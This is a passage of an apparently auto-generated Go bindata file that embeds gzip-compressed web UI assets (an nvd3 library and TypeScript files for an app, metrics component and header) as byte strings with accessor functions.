b\\x74\\x41\\x84\\xee\\x59\\x85\\xad\\x0e\\x16\\x48\\xe3\\x1d\\xec\\x1f\\x74\\x25\\xef\\x60\\xd7\\xb2\\x29\\xf7\\xd3\\xe2\\x0e\\xb7\\x5b\\x0f\\x0f\\xdb\\xad\\x2c\\x70\\x9a\\x2e\\x84\\xe5\\x75\\xf3\\x81\\xd3\\x84\\x5e\\xd7\\x1e\\x7c\\xa7\\x3e\\x1b\\x21\\xf7\\xb5\\x60\\x01\\x0e\\x1f\\x21\\xf7\\x99\\x82\\xee\\x86\\xb4\\x45\\x35\\xe8\\x6e\\x90\\x11\\xf7\\xc6\\x9b\\xe2\\xe1\\x69\\xe1\\x46\\xc9\\xc2\\x82\\xfc\\x2c\\x90\\x01\\x1c\\x3d\\x36\\x24\\x23\\x6f\\xa8\\x07\\x70\\x68\\x57\\xe3\\x11\\x1c\\x2d\\x64\\x1b\\x57\\x1e\\xe1\\x48\\xb2\\x91\\x71\\x5f\\x5e\\x62\\xdf\\x3f\\xb2\\x79\\x23\\xbc\\xc4\\xdb\\xa0\\xb3\\x42\\x44\\xfe\\x01\\xdf\\xca\\xd4\\xb0\\xcf\\x05\\x85\\x7d\\xcc\\x32\\xe2\\x22\\x02\\x87\\xf9\\xb0\\x4a\\x02\\x8e\\x82\\xd3\\x64\\x48\\x34\\xc2\\xbd\\x94\\x4e\\x78\\x6c\\xa6\\x8f\\x86\\xfd\\x50\\x97\\x1b\\x78\\xcf\\x3e\\x76\\x47\\x77\\x30\\xe6\\xec\\xd7\\x39\\x55\\x7d\\x19\\x5e\\x56\\x2e\\x8f\\xc1\\xc0\\xb8\\x05\\x85\\x11\\xf4\\x14\\xb7\\xe7\\x9f\\x08\\xbb\\x50\\x59\\x8f\\x9f\\xb0\\x9a\\xec\\xd5\\x04\\xd9\\xcd\\xf8\\x50\\x84\\x3b\\xdc\\x43\\x1f\\x6f\\x1d\\x5f\\x00\\x94\\xc3\\xb9\\xa7\\x97\\x1f\\x01\\x52\\x11\\xbe\\x6a\\xf2\\xfc\\x44\\xba\\x91\\x98\\x99\\x44\\xd6\\x26\\xaa\\x81\\x8d\\x42\\xb3\\x2e\\xa7\\xb4\\x00\\xaf\\xb5\\xa5\\x89\\xc8\\xc7\\x89\\x3b\\x8c\\x96\\xe7\\xc9\\x26\\x8e\\x9e\\x0a\\x0a\\x1e\\x4a\\xdd\\x94\\x1d\\x82\\x29\\x5b\\xd8\\x06\\x9a\\x4f\\x21\\x0b\\xa4\\x1b\\x46\\xad\\xa8\\x94\\x79\\x8c\\xb1\\xd6\\x6d\\x7a\\xad\\xbd\\x8d\\xe1\\xc2\\xd0\\x11\\x67\\x16\\xa4\\xae\\x9b\\x43\\x40\\x30\\xe3\\xc3\\x10\\xb1\\x57\\xf5\\xff\\xfb\\xf2\\x55\\x1e\\x01\\x46\\x0e\\xe1\\x0e\\xf4\\x80\\x57\\x28\\xef\\xfd\\xb2\\x57\\x2e\\xac\\xe8\\x9e\\xf4\\x7f\\x03\\x00\\x00\\xff\\xff\\xdc\\x02\\x04\\xb3\\x7b\\xeb\\x02\\x00\")\n\nfunc uiJsLibsNvd3171NvD3MinJsBytes() ([]byte, error) {\n  return bindataRead(\n    _uiJsLibsNvd3171NvD3MinJs,\n    \"ui/js/libs/nvd3/1.7.1/nv.d3.min.js\",\n  )\n}\n\nfunc uiJsLibsNvd3171NvD3MinJs() (*asset, error) {\n  bytes, err := uiJsLibsNvd3171NvD3MinJsBytes()\n  if err != nil {\n    return nil, err\n  }\n\n  info := bindataFileInfo{name: \"ui/js/libs/nvd3/1.7.1/nv.d3.min.js\", size: 191355, mode: os.FileMode(420), modTime: time.Unix(1400000000, 0)}\n  a := &asset{bytes: bytes, info: info}\n  return a, nil\n}\n\nvar _uiTsAppTs = []byte(\"\\x1f\\x8b\\x08\\x00\\x00\\x09\\x6e\\x88\\x00\\xff\\x94\\x92\\xcf\\x6e\\xe2\\x30\\x10\\xc6\\xef\\x79\\x8a\\x91\\x4f\\x41\\x62\\xe3\\x7b\\x58\\x56\\x0b\\x12\\x42\\x7b\\xd8\\xaa\\x6a\\xa5\\x5e\\x91\\x89\\xa7\\x89\\x2b\\x6c\\x47\\x63\\xa7\\x14\\x55\\x7d\\xf7\\x1a\\x43\\xda\\xa4\\x29\\x28\\xcd\\xc1\\xff\\xf2\\xfb\\x3c\\x9e\\x6f\\x86\\x73\\x70\\xb6\\xa1\\x02\\x73\\x10\\x75\\x9d\\x79\\x97\\xf0\\x70\\xf4\\x9b\\xf0\\x11\\x09\\x4d\\x81\\x50\\x0b\\x5f\\xcd\\x99\\x3f\\xd4\\xca\\x94\\x8e\\x6b\\xe5\\x2b\\x52\\xbb\\xa7\\x8f\\x55\\x26\\x83\\x86\\x01\\xff\\x93\\x7c\\x2f\\xac\\x45\\x89\\x8e\\x97\\x24\\xea\\xaa\\x05\\xaf\\x70\\xda\\x1a\\xe5\\x2d\\x8d\\x20\\x8d\\x95\\xe8\\x46\\x70\\x84\\xce\\x6f\\xf0\\xa5\\xde\\x59\\xc2\\x31\\xf7\\xba\\x10\\xfe\\xf3\\xe2\\x40\\xc2\\xa2\\xf1\\x95\\xa5\\x1c\\x16\\x46\\x12\\xee\\x61\\x69\\xcd\\x33\\x1a\\x4f\\x08\\xa9\\x30\\xf2\\xb0\\xb5\\xc6\\xfd\\x2d\\xb5\\x08\\x4e\\x14\\x56\\x4f\\xba\\x82\\x25\\x09\\x0d\\x6b\\x6a\\x0c\\x2a\\x82\\x74\\x1b\\x76\\xe5\\x69\\xd3\\xe5\\x13\\x9d\\x91\\x6d\\x3c\\x66\\x3a\\x24\\x04\\x73\\x60\\x95\\x70\\x15\\x9b\\xb5\\xc7\\xa9\\xb4\\x45\\xa3\\x43\\xbc\\xac\\x44\\xbf\\xda\\xe1\\x71\\xb9\\x3c\\xfc\\x93\\x29\\x23\\x6b\\x3d\\x9b\\x4c\\x81\\xc5\\x14\\x7f\\xb5\\x29\\xb2\\x29\\xbc\\x26\\x10\\x3e\\x76\\x32\\x9d\\x85\\x87\\x4b\\xad\\xcc\\x83\\xc2\\xbd\\xcb\\xd6\\xb1\\x0e\\xb7\\x21\\xd3\\xe9\\x19\\x3a\\x3b\\xde\\xc7\\xfe\\x9f\\xcb\\xd0\\x05\\x8f\\x86\\xf7\\xa9\\x9b\\x58\\x82\\x38\\x7e\\x05\\xdd\\x68\\x92\\xe7\\xc7\\x71\\xa3\\xe4\\x25\\xc5\\xe0\\xea\\x1f\\x29\\xfa\\xde\\xf4\\x04\\x77\\xe1\\xd7\\xaa\\x6d\\x8c\\xae\\x26\\xb6\\x40\\x9f\\xbd\\x3f\\x75\\x45\\x9c\\x06\\xa8\\xbb\\xcc\\xba\\x01\\xcc\\xf3\\x38\\x0d\\x9e\\x7f\\x3d\\xc2\\x58\\x55\\xf2\\x36\\x99\\x25\\xef\\x01\\x00\\x00\\xff\\xff\\x27\\x3f\\x35\\x45\\xd3\\x03\\x00\\x00\")\n\nfunc uiTsAppTsBytes() ([]byte, error) {\n  return bindataRead(\n    _uiTsAppTs,\n    \"ui/ts/app.ts\",\n  )\n}\n\nfunc uiTsAppTs() (*asset, error) {\n  bytes, err := uiTsAppTsBytes()\n  if err != nil {\n    return nil, err\n  }\n\n  info := bindataFileInfo{name: \"ui/ts/app.ts\", size: 979, mode: os.FileMode(420), modTime: time.Unix(1400000000, 0)}\n  a := &asset{bytes: bytes, info: info}\n  return a, nil\n}\n\nvar _uiTsComponentsMetricsTs = []byte(\"\\x1f\\x8b\\x08\\x00\\x00\\x09\\x6e\\x88\\x00\\xff\\xa4\\x58\\x6b\\x8f\\xdb\\xb8\\x15\\xfd\\xee\\x5f\\xc1\\x1a\\x08\\x56\\x0e\\x66\\xe9\\x09\\x06\\xed\\x07\\xa5\\x93\\xb6\\x48\\xb6\\x8b\\x00\\x3b\\xbb\\x68\\x53\\xa4\\x2d\\x8a\\xa2\\xa0\\x25\\xda\\x66\\x86\\x12\\x55\\x92\\xf2\\xa3\\x03\\xff\\xf7\\x9e\\x4b\\x4a\\xf2\\x43\\xb2\\x3c\\x45\\x89\\x20\\x63\\x49\\x97\\xe7\\x92\\xf7\\x79\\xc8\\xf9\\x9c\\x39\\x53\\xdb\\x4c\\xa6\\x2c\\x33\\x45\\x65\\x4a\\x59\\x7a\\x37\\x2f\\xa4\\xb7\\x2a\\x73\\xdc\\xbb\\xc9\\x1c\\x12\\xbf\\xb5\\x72\\x29\\xad\\x2c\\x33\\xc9\\x2a\\xe1\\xd7\\x8f\\x53\\xce\\xe7\\x7e\\x5f\\xa9\\x72\\x05\\x51\\xe5\\xd7\\x56\\xe9\\x6f\\xdd\\x2f\\x9e\\x63\\xda\\x94\\xcd\\x3f\\xdc\\x9c\\x9a\\x3f\\xe0\\xdf\\x6d\\xf1\\xc2\\xe4\\x52\\xbb\\xb9\\x57\\x85\\x74\\xd2\\x2a\\xe9\\xda\\x09\\x93\\xc9\\xfc\\xed\\x5b\\x36\\x61\\x6f\\xd9\\xc7\\x6e\\xe9\\x2c\\x97\\x4b\\x55\\x4a\\xc7\\xac\\xac\\x9d\\x58\\x68\\x79\\xb2\\x2d\\xb6\\x5d\\xab\\x6c\\xcd\\x0a\\xb1\\x67\\x0b\\xc9\\x6a\\x27\\x73\\x66\\x4a\\x56\\xd4\\xda\\xab\\x4a\\x93\\xc2\\x95\\x74\\x77\\x04\\x67\\xec\\xf1\\x6d\\x50\\x4b\\x72\\x7e\\x2d\\x99\\x13\\x45\\x94\\xe3\\x10\\x9b\\x4f\\xb0\\xb2\\x1a\\x22\\x27\\xda\\x5f\\x26\\x0c\\x03\\xcb\\x0a\\x7f\\x01\\x55\\x6e\\x58\\xb6\\x16\\x16\\x9f\\x1a\\xe1\\xdc\\x00\\xae\\x34\\x9e\\x65\\xb5\\xc5\\x46\\xbd\\xde\\xb3\\xb5\\xd8\\x48\\x26\\x18\\xcc\\x22\\x5d\\x66\\x55\\xe5\\xe3\\x26\\x94\\x57\\xa6\\xe4\\x0d\\xd0\\x3c\\xfc\\xcd\\x65\\xa6\\x85\\x95\\x6c\\x23\\x2c\\x90\\x53\\x51\\xee\\xdf\\x4f\\x2e\\x35\\x3e\\x45\\xdf\\x61\\xdf\\xa5\\x17\\xaa\\x74\\xa7\\x06\\x08\\x7b\\xf6\\x86\\xe5\\xca\\x55\\x1a\\x66\\x68\\xfc\\xcc\\x72\\xe1\\xc5\\xb9\\x26\\xb9\\xab\\x8c\\xf5\\xed\\xa2\\x5b\\xcc\\xb8\\xbd\\x33\\x85\\x51\\xe9\\x4f\\xb0\\xf9\\x8f\\x56\\x54\\xeb\\x16\\xda\\x61\\x43\\x1a\\x2f\\xd9\\x2a\\xbc\\x35\\xcb\\x60\\x3f\\xd2\\x03\\xcf\\xf8\\xda\\x96\\x58\\xc8\\xd2\\x9a\\x82\\xf6\\x0d\\x0b\\x9f\\x62\\x45\\x27\\xb3\\x7f\\xd7\\xd2\\xee\\xf9\\xc9\\x87\\x79\\xf7\\xfb\\x7c\\x71\\x47\\xdd\\xc7\\xe5\\xf5\\x96\\x18\\xa1\\xbf\\x2a\\xb9\\x7d\\xa2\\x70\\x62\\xca\\x85\\x05\\x85\\xd8\\x62\\x4b\\x38\\x5c\\x30\\x57\\xc9\\x4c\\x2d\\x55\\x76\\x02\\xf8\\x3d\\x53\\x25\\x13\\x79\\x1e\\x5c\\x01\\xc3\\x5d\\xe2\\x11\\xc4\\x42\\x64\\xcf\\x08\\x67\\xf6\\x27\\x5a\\x2f\\x33\\x8b\\x6f\\x32\\xf3\\x77\\x4c\\x79\\x26\\xb4\\x33\\x08\\x36\\xd5\\xb8\\xc1\\x40\\xd8\\xb2\\x4a\\xda\\xef\\x3b\\x87\\x5c\\xc2\\xb5\\x6e\\x31\\x15\\xe9\\x73\\xfc\\xe2\\xfb\\xfc\\xec\\x19\\xb8\\xd2\\x2e\\x05\\x32\\xe5\\xb8\\xab\\x73\\x03\\xd0\\x08\\x56\\x4c\\xc3\\x57\\xc7\\x1b\\x37\\xf2\\xb0\\xd4\\x27\\x51\\x22\\x90\\xed\\xfb\\xde\\x14\\x2d\\x9c\\xff\\xa1\\x32\\xd9\\x3a\\x2d\\xeb\\x62\\x31\\x24\\xf1\\x2c\\xf7\\xbf\\x1b\\xfc\\x78\\x98\\xdc\\xf2\\xc0\\x47\\x44\\xa5\\x35\\x5a\\xc3\\x14\\x5d\\x80\\x06\\x2b\\xd6\\xfa\\x99\\xa2\\x64\\x59\\x97\\x19\\x6d\\x5e\\x68\\xe5\\xf7\\xac\\x94\\x32\\x8f\\x11\\x8b\\x54\\xc9\\x31\\x47\\x5c\\xe2\\x75\\xbe\\x1a\\x37\\x16\\xd2\\xc6\\xb9\\x53\\xe5\\x7d\\x4b\\xa1\\xfa\\x94\\x9b\\xfc\\x21\\xa6\\x2b\\xef\\x7d\\x0e\\xaf\\xd9\\x23\\x64\\x78\\x2c\\x48\\x9c\\xc2\\xfb\\x23\\xbd\\x4d\\x66\\x3d\\x69\\x1a\\x7c\\x97\\x24\\xf9\\x8c\\x3d\\x7e\\xc0\\x36\\xb6\\xec\\x93\\xf0\\x32\\x41\\xad\\xa3\\x72\\xe2\\x45\\x51\\xfd\\xab\\x14\\xa5\\x71\\xf3\\x77\\xfc\\x5e\\xfe\\x66\\x76\\x05\\x60\\xdf\\x02\\xe4\\x7c\\x23\\x74\\x2d\\x87\\xc5\\xe6\\x73\\x1e\\x62\\x41\\xc0\\x70\\x1b\\x99\\x78\\x7b\\x4d\\x90\\x23\\xfd\\x3f\\x1f\\x25\\x7f\\xac\\x15\\xf6\\x81\\x4d\\xc4\\x29\\x6c\\x78\\x8e\\x5b\\x9b\\xed\\x4f\\x72\\x05\\xf3\\x8f\\x21\\x93\\xd4\\xdf\\xff\\xb0\\x53\\xee\\x96\\xd0\\xdf\\x6e\\x09\\xed\\xbe\\x64\\x42\\xc3\\x52\\x0f\\xc1\\x54\\xdc\\x85\\xa7\\xd9\\xec\\xfd\\xa4\\x27\\x0e\\x33\\x7a\\x64\\x6b\\x66\\xb4\\xb1\\x0e\\x9e\\xc1\\x94\\x20\\xcd\\x33\\x98\\x7a\\x65\\xec\\xfe\\xdd\\x7d\\x32\\x34\\x0f\\x71\\xe7\\xb0\\x80\\xcc\\x1b\\x9b\\x54\\xf5\\x42\\x03\\x63\\x53\\xa4\\x5d\\x12\\xcd\\x06\\x62\\x83\\x06\\xe2\\xe3\\x8b\\xf4\\x6c\\x47\\x1b\\x40\\xcd\\xca\\x9e\\x1d\\xc5\\x65\\x65\\x0d\\x52\\x1a\\x45\\x1c\\x35\\xa4\\x10\\x03\\x71\\x43\\xc3\\xaf\\x95\\xe3\\x31\\xae\\xc2\\xf4\\x41\\xa1\\xb0\\x7b\\xc2\\xfd\\x63\\x40\\xea\\x2c\\x10\\x81\\x93\\xef\\xde\\x7c\\x4e\\xdf\\x3c\\xa5\\x6f\\xbe\\x7c\\x77\\x25\\x5a\\x3a\\x13\\x3f\\x89\\xdd\\x93\\x2a\\x93\\x25\\xea\\x8f\\x9c\\xf5\\x93\\xf7\\xd0\\xb7\\x48\\x2f\\x4f\\x69\\xa0\\x10\\xaf\\x4d\\xad\\xf3\\x3f\\x87\\xcc\\xfb\\x74\\xac\\xdc\\xd8\\x37\\xdc\\xc7\\x54\\x28\\xe9\\x68\\x46\\x30\\x07\\x05\\x78\\xa8\\xed\\x5d\\xa6\\x0e\\x18\\xe2\\x22\\x25\\x69\\x5c\\x6a\\x48\\x66\\xe9\\xc2\\x18\\x2d\\x45\\x79\\xc5\\x09\\xd4\\xf8\\x24\\xd5\\x26\\xf8\\x3b\\x58\\x75\\x53\\xf0\\xd8\\x28\\xc2\\xdb\\x2b\\x99\\x88\\xa5\\x26\\x71\\xd6\\x87\\x6e\\x56\\x57\\xe5\\xae\\xf9\\x9b\\x46\\x4f\\x18\\x6a\\x03\\xd0\\xd5\\x19\\xd1\\x44\\xc1\\x42\\x7d\\xd3\\xd3\\x38\\x0c\\xbe\\x6d\\xa6\\x05\\x9f\\xbd\\xd6\\x65\\x03\\x09\\xfb\\x16\\x5c\\xc2\\x0d\\xba\\x2a\\xb6\\xe1\\xe0\\x23\\xf8\\x4b\\x6c\\x84\\xd2\\x81\\x1d\\xfd\\x8f\\x0e\\x6b\\xe0\\x6f\\xfa\\xa9\\x35\\xc3\\x90\\x8b\\xe0\\x84\\xfb\\xff\\x67\\x8b\\xb9\\x15\\xdb\\xd8\\x9e\\x57\\x92\\x08\\x9f\\xb2\\xe8\\xb8\\x4c\\x64\\x99\\x74\\x21\\x25\\x03\\x51\\xdb\\xac\\x98\\xd4\\xb2\\x40\\x93\\x6d\\xb9\\x47\\xb0\\xc0\\x10\\x9e\\x58\\xa2\\x24\\x52\\xc3\\x26\\xc3\\xe4\\x4d\\xbf\\xf9\\xf4\\xcb\\x13\\x67\\x7f\\x0d\\x2c\\x91\\xfd\\xfc\\xf5\\xd3\\x43\\x60\\x4d\\x50\\x7c\\xa4\\x31\\xc4\\x5e\\x86\\xe0\\x48\\xe0\\x92\\xbb\\x8c\\x58\\xf4\\xb8\\x9b\\x47\\x04\\x69\\x5c\\x72\\xfa\\x43\\xfc\\x0b\\x1a\\xe1\\x3e\\x13\\x0f\\x44\\x37\\xfc\\x8f\\xcc\\x5b\\x9b\\xdf\\x85\\xd6\\x29\\x77\\x9e\\x08\\x60\\xe8\\x0f\\xc3\\x4e\\xa0\\xb0\\xff\\xd5\\x19\\xc2\\x58\\xac\\xa3\\xb1\\x61\\xf7\\x61\\x29\\xc9\\xb1\\x60\\x0d\\x14\\x10\\x1a\\x07\\xd6\\xf7\\x57\\xab\\x32\\x4c\\xee\\x67\\xf6\\x98\\x6e\\x4a\\xeb\\x58\\xe7\\xbc\\xcc\\x43\\xfc\\x3e\\xb2\\x7f\\xfc\\xf3\\xaa\\x38\\x4a\\xf1\\x5f\\x60\\x65\\x2b\\x1d\\x58\\x3a\\x02\\x2a\\x16\\x61\\xf0\\x85\\xad\\xd2\\x9a\\xb8\\xbd\\x2c\\x2a\\x3c\\x61\\x31\\x08\\x50\\x69\\xad\\xb1\\x63\\x50\\x26\\x03\\x15\\x97\\x39\\x67\\x28\\xbc\\x60\\xe6\\xdb\\x3b\\xb6\\x95\\x11\\xe9\\x5b\\xed\\x7c\\x47\\xca\\xc8\\xaf\\xd3\\x9f\\x0d\\x35\\x72\\x31\\x1d\\xc3\\x43\\x83\\x77\\x60\\x56\\xac\\x2e\\xbd\\xd2\\x84\\x05\\xd6\\xae\\xf2\\x78\\xd8\\x20\\x90\\xb8\\x5a\\xb6\\x25\\xcc\\x8e\\x8a\\x8f\\x01\\x86\\x1d\\xb4\\xb0\\x97\\xac\\xf0\\x64\\x74\\xc6\\xef\\x32\\xae\\xb5\\xd0\\x98\\xed\\x69\\x5c\\xda\\x7e\\x18\\xa5\\xf9\\xe1\\x78\\x21\\xaa\\x96\\x99\\x8c\\xe3\\xd2\\x68\\x4a\\xc1\\x6d\\x41\\x1a\\x81\\xe6\\xb8\\x14\\x84\\x87\\x72\\xac\\x32\\x20\\x36\\x74\\x24\\x7b\\xc5\\x00\\x27\\xa5\\x69\\x25\\x4e\\x68\\xaf\\x9b\\x10\\x78\\x43\\x7a\\xc2\\x09\\x79\\x64\\x12\\x49\\x04\\x99\\xbd\\x0e\\x05\\xa7\\x31\\x91\\x52\\x91\\x7d\\x9d\\xf8\\x12\\x61\\xf5\\x4b\\x25\\x32\\x90\\xdb\\x94\\xbf\\xbb\\x3d\\xe7\\x30\\x9c\\x7e\\xdd\\xe7\\x2b\\xe9\\x19\\xbe\\x5d\\xfd\\x42\\x44\\x09\\x95\\x26\\xf3\\x6d\\xbd\\xb9\\x4e\\x28\\x68\\x90\\x2b\\xea\\x22\\x39\\x8b\\x91\\x11\\x0a\\xe2\\xad\\x28\\x5d\\x38\\x30\\x21\\x62\\xf2\\xda\\x8a\\xf0\\xf3\\xd7\\xf7\\xf7\\x37\\xb4\\x80\\xba\\xe9\\x57\\x14\\x9e\\x81\\xce\\x71\\xfe\\x74\\xf6\\xd8\\x9c\\x14\\xdb\\x53\\x45\\x28\\x9c\\xd1\\xdb\\x49\\x60\\xf1\\xe3\\xb4\\xaf\\x09\\x5d\\x62\\x37\\x1f\\x2f\\x26\\xce\\x46\\x0f\\x3e\\x97\\x6a\\x37\\xd0\\x92\\x64\\xde\\xea\\xf4\\x88\\x33\\xa4\\x90\\x32\\x98\\xc4\\x78\\xd7\\x67\\xaf\\x65\\x6e\\xb3\\xb4\\x22\\x99\\x86\\x73\\x48\\x68\\x6e\\xd3\\xbb\\x61\\x0e\\xdf\\x8e\\x17\\xe7\\xf7\\x5a\\xa6\\xd3\\xad\\xca\\xfd\\x3a\\x85\\x47\\xaa\\xdd\\xfb\\xb5\\x54\\xab\\xb5\\x4f\\x1f\\xc2\\xc3\\xf4\\x30\\x1e\\x91\\xd0\\x86\\xc6\\xca\\x5b\\x65\\x2f\\xb0\\xe6\\x52\\xad\\x52\\x16\\x96\\xdc\\x35\\xb2\\xc3\\xb8\\xa3\\x87\\x28\\x29\\x7a\\x35\\xfa\\xec\\xad\\x9d\\x42\\xe5\\x54\\x1b\\x91\\xe3\\xb4\\xcd\\x39\\x9f\\x0e\\x72\\xdb\\xf3\\xa7\\x5b\\xa7\\xd1\\x0c\\xd9\\xeb\\xc1\\x8f\\x70\\x20\\x10\\xa8\\xd6\\xf8\\x4d\\xf7\\x16\\x0e\\x0a\\x74\\xfb\\x16\\xe7\\xeb\\x86\\x40\\x1c\\xaf\\x05\\xae\\x1e\\xe0\\xe3\\x05\\x53\\x77\\x05\\xd2\\xf1\\x84\\xc8\\x49\\xea\\xaa\\xd2\\x0a\\x7d\\xe0\\xec\\x18\\xde\\xdc\\x18\\x5c\\x1e\\x5f\\x2f\\x91\\x7f\\x5f\\x09\\x2b\\x0a\\xaa\\x72\\xa1\\xf5\\xd1\\xdf\\xf8\\x46\\x35\\xb7\\x3a\\x8b\\x3d\\x6b\\x2e\\xe0\\x02\\x07\\xc2\\x19\\xef\\xb9\\x81\\x76\\x74\\x89\\xa1\\x95\\xeb\\x2e\\xc0\\x32\\x74\\xc5\\x05\\xb5\\x4f\\x61\\x91\\xab\\x2b\\xb4\\xbe\\xd1\\xb3\\x73\\x2f\\x87\\x82\\xd1\\x92\\x9b\\x37\\x0b\\x77\\xa7\\xf7\\x04\\xb3\\xbe\\x73\\xa9\\xe9\\x9f\\x1e\\xbc\\xd0\\x77\\x5e\\x8e\\x77\\x0f\\xf7\\x77\\xcd\\xdd\\x45\\xf8\\xbf\\x9f\\xf6\\x94\\x2a\\xc0\\xbf\\x96\\x1f\\x68\\x5e\\x64\\xa3\\x47\\x5a\\xc3\\xad\\x38\\xa1\\xd1\\x46\\x19\\xef\\x7c\\x9b\\x74\\xfe\\xbe\\x03\\xda\\x6c\\x32\\x3c\\x3f\\xfe\\x3a\\x4c\\x0e\\x93\\xff\\x06\\x00\\x00\\xff\\xff\\x8c\\xe7\\x71\\x33\\x4a\\x15\\x00\\x00\")\n\nfunc uiTsComponentsMetricsTsBytes() ([]byte, error) {\n  return bindataRead(\n    _uiTsComponentsMetricsTs,\n    \"ui/ts/components/metrics.ts\",\n  )\n}\n\nfunc uiTsComponentsMetricsTs() (*asset, error) {\n  bytes, err := uiTsComponentsMetricsTsBytes()\n  if err != nil {\n    return nil, err\n  }\n\n  info := bindataFileInfo{name: \"ui/ts/components/metrics.ts\", size: 5450, mode: os.FileMode(420), modTime: time.Unix(1400000000, 0)}\n  a := &asset{bytes: bytes, info: info}\n  return a, nil\n}\n\nvar _uiTsHeaderTs = []byte(\"\\x1f\\x8b\\x08\\x00\\x00\\x09\\x6e\\x88\\x00\\xff\\x6c\\x53\\x41\\x6f\\x9b\\x4c\\x10\\x3d\\xc7\\xbf\\x62\\x3e\\x5f\\xe2\\x48\\xfe\\x20\\x8d\\xd4\\x4b\\xa2\\x4a\\x21\\xb1\\x9b\\xa2\\xa6\\x58\\x32\\xa4\\x51\\x8e\\xcb\\x32\\x86\\x6d\\x61\\x97\\xce\\x2e\\x21\\xfc\\xfb\\xce\\x02\\x4e\\x13\\xb5\\x3e\\x79\\x66\\xdf\\xbc\\x79\\x6f\\x66\\x08\\x43\\xb8\\x43\\x8d\\x24\\x1c\\x16\\x90\\x0f\\xe0\\xac\\x0c\\x16\\x9c\\xb4\\xa6\\x23\\x89\\x97\\x20\\x8d\\xfc\\x49\\x46\\xc8\\x2a\\x24\\x9c\\x72\\x61\\x67\\x43\\x67\\xc3\\x20\\x18\\x71\\x9b\\x1d\\x24\\xbb\\x0c\\xb6\\x9b\\x38\\xfb\\x8f\\x63\\x9f\\xba\\x35\\xed\\x40\\xaa\\xac\\x1c\\x5c\\x9c\\x7f\\xf8\\x08\\x59\\x85\\x9c\\x9a\\x59\\x20\\xea\\x5c\\x65\\xc8\\x06\\x33\\xf6\\x5e\\x49\\xd4\\x96\\x5b\\x77\\xba\\x40\\x02\\xc7\\xd8\\xa8\\x65\\x1c\\x1e\\x5f\\xd6\\xf0\\x1d\\xc9\\x2a\\xa3\\xe1\\x22\\x38\\x87\\x95\\x07\\x2c\\xe7\\xa7\\xe5\\xd9\\x95\\xa7\\x18\\x4c\\x07\\x8d\\x18\\x40\\x1b\\x07\\x9d\\x45\\xe6\\x50\\x16\\x0e\\xaa\\x46\\xc0\\x17\\x89\\xad\\x03\\xa5\\xd9\\x45\\xd3\\xd6\\x4a\\x68\\x89\\xd0\\x2b\\x57\\x8d\\x7d\\x66\\x96\\xd1\\xc5\\xd3\\xcc\\x61\\x72\\x27\\x18\\x2e\\xb8\\xa0\\xe5\\xe8\\xf0\\x16\\x08\\xc2\\xcd\\xa2\\xfd\\xaf\\x72\\xae\\xbd\\x0c\\xc3\\xbe\\xef\\x03\\x31\\x0a\\x0e\\x0c\\x95\\x61\\x3d\\x41\\x6d\\x78\\x1f\\xdf\\x6e\\x93\\x74\\xfb\\x3f\\x8b\\x9e\\x8b\\x1e\\x74\\x8d\\xd6\\x02\\xe1\\xaf\\x4e\\xd1\\x34\\x6b\\xd1\\xb2\\x28\\x29\\x72\\x96\\x5a\\x8b\\x1e\\x0c\\x81\\x28\\x09\\xf9\\xcd\\x19\\x2f\\xba\\x27\\xe5\\x94\\x2e\\xd7\\xbc\\x8b\\x83\\xeb\\x05\\xa1\\xa7\\x29\\x94\\x75\\xa4\\xf2\\xce\\xbd\\x9b\\xd9\\x51\\x22\\x3b\\x7f\\x0b\\xe0\\xa9\\x09\\x0d\\xcb\\x28\\x85\\x38\\x5d\\xc2\\x4d\\x94\\xc6\\xe9\\xda\\x93\\x3c\\xc6\\xd9\\x97\\xdd\\x43\\x06\\x8f\\xd1\\x7e\\x1f\\x25\\x59\\xbc\\x4d\\x61\\xb7\\x87\\xdb\\x5d\\xc2\\x5b\\x8c\\x77\\x09\\x47\\x9f\\x21\\x4a\\x9e\\xe0\\x6b\\x9c\\x6c\\xd6\\x80\\x3c\\x31\\xee\\x83\\x2f\\x2d\\x79\\x07\\x86\\x3c\\x85\\xf2\\x03\\xc5\\x22\\x80\\x14\\xf1\\x9d\\x84\\x83\\x99\\x24\\xd9\\x16\\xa5\\x3a\\x28\\xc9\\xd6\\x74\\xd9\\x89\\x12\\xa1\\x34\\xcf\\x48\\x9a\\x1d\\xf9\\xfa\\x16\\xa9\\x51\\xd6\\x2f\\xd6\\xb2\\xc6\\x02\\x6a\\xd5\\x28\\x27\\xdc\\x18\\xff\\xe5\\xeb\\x4f\\x97\\xe8\\x81\\x95\\xef\\xd3\\x71\\xbf\\x9e\\xc6\\x77\\xd3\\xa2\\x41\\xeb\\x97\\x25\\x8d\\x9e\\xac\\xbf\\x39\\xb0\\xf9\\xde\\x2e\\xe1\\x86\\x44\\x03\\x77\\xd4\\x69\\x54\\x04\\xab\\x9c\\xa3\\xa0\\x9c\\xa2\\xeb\\xb2\\x11\\xaa\\x0e\\xf8\\x46\\xce\\xb8\\xe2\\xe4\\xc4\\xaf\\x37\\xd2\\x05\\x61\\x0f\\x37\\x46\\x3f\\x23\\x93\\x22\\xac\\x58\\xe4\\x90\\xb3\\xba\\x7f\\xa1\\xbf\\x09\\xe7\\x20\\x23\\x21\\x07\\x58\\x35\\xfc\\xff\\xfa\\xf5\\xab\\xa9\\x45\\x6e\\x8f\\xd8\\xc5\\xe2\\x59\\x10\\x54\\x28\\xd8\\xdd\\x06\\xad\\x24\\xd5\\x7a\\xbf\\xf0\\x09\\x4e\\xb3\\xd7\\x9b\\xf5\\x1b\\x44\\xab\\x4a\\x3d\\x9d\\x81\\x28\\x8a\\xd1\\xf7\\x54\\xe5\\x33\\x3e\\x72\\xa6\\x3d\\x1e\\x27\\x73\\xe7\\xca\\x83\\x7f\\x4c\\x04\\xc1\\xe9\\xd5\\xe2\\x77\\x00\\x00\\x00\\xff\\xff\\x05\\xd5\\x4c\\x27\\xd4\\x03\\x00\\x00\")\n\nfunc uiTsHeaderTsBytes() ([]byte, error) {\n  return bindataRead(\n    _uiTsHeaderTs,\n    \"ui/ts/header.ts\",\n  )\n}\n\nfunc uiTsHeaderTs() (*asset, error) {\n  bytes, err := uiTsHeaderTsBytes()\n  if err != nil {\n    return nil, err\n  }\n\n  info := bindataFileInfo{name: \"ui/ts/header.ts\", size: 980, mode: os.FileMode(420), modTime: time.Unix(1400000000, 0)}\n  a := &asset{bytes: bytes, info: info}\n  return a, nil\n}\n\nvar _uiTsModelsNode_statusTs = 